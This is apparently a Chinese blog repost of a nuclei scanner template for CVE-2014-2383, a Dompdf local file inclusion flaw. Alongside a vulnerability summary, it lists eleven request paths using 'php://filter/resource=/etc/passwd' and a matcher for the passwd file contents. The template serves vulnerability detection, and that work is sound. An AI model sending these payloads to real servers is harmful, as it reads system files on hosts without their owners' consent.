Dompdf < v060 - Local File Inclusion

漏洞信息

漏洞名称: Dompdf < v0.6.0 - Local File Inclusion

漏洞编号:

  • CVE: CVE-2014-2383

漏洞类型: 文件包含

漏洞等级: 中危

漏洞描述: Dompdf是一个开源的PHP库,用于将HTML文档转换为PDF文件。它广泛应用于各种PHP项目中,尤其是需要生成PDF报告或文档的Web应用程序。由于其易用性和灵活性,Dompdf在许多企业和个人项目中都有部署。该漏洞存在于Dompdf的dompdf.php文件中,当DOMPDF_ENABLE_PHP选项被启用时,攻击者可以利用PHP协议和包装器绕过chroot保护,通过input_file参数读取任意文件。这种漏洞的技术根源在于对用户输入的不当处理,导致攻击者能够构造恶意请求,访问系统敏感文件。此漏洞的影响范围包括但不限于未授权访问敏感文件、远程代码执行以及系统被完全控制的风险。攻击者无需身份验证即可利用此漏洞,且攻击可以自动化执行,因此对使用受影响版本Dompdf的系统构成了严重威胁。

产品厂商: dompdf

产品名称: dompdf

影响版本: < v0.6.0

来源: https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fcves%2F2014%2FCVE-2014-2383.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

id: CVE-2014-2383

info:
name: Dompdf < v0.6.0 - Local File Inclusion
author: 0x_Akoko,akincibor,ritikchaddha
severity: medium
description: |
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
impact: |
The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
remediation: |
Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
reference:
- https://www.exploit-db.com/exploits/33004
- http://seclists.org/fulldisclosure/2014/Apr/258
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2014-2383
cwe-id: CWE-200
epss-score: 0.52280
epss-percentile: 0.97785
cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
metadata:
verified: true
max-request: 11
vendor: dompdf
product: dompdf
tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists

http:
- method: GET
path:
- "{{BaseURL}}{{paths}}"

payloads:
paths:
- "/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
- "/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"

stop-at-first-match: true

matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/pdf"
- 'filename="dompdf_out.pdf"'
condition: and

- type: regex
regex:
- "root:[x*]:0:0"

- type: status
status:
- 200
# digest: 4b0a004830460221008d72406f9a9b121a84c1ce48b24d1756a629bc0001cffb07e775234835d79664022100fa2b4ddd40dda922fd573c514d02532184eee70e877c0a19393738dd262d034b:922c64590222798bb761d5b6d8e72950


Dompdf < v060 - Local File Inclusion
http://example.com/2025/07/21/github_3805357028/
作者
lianccc
发布于
2025年7月21日
许可协议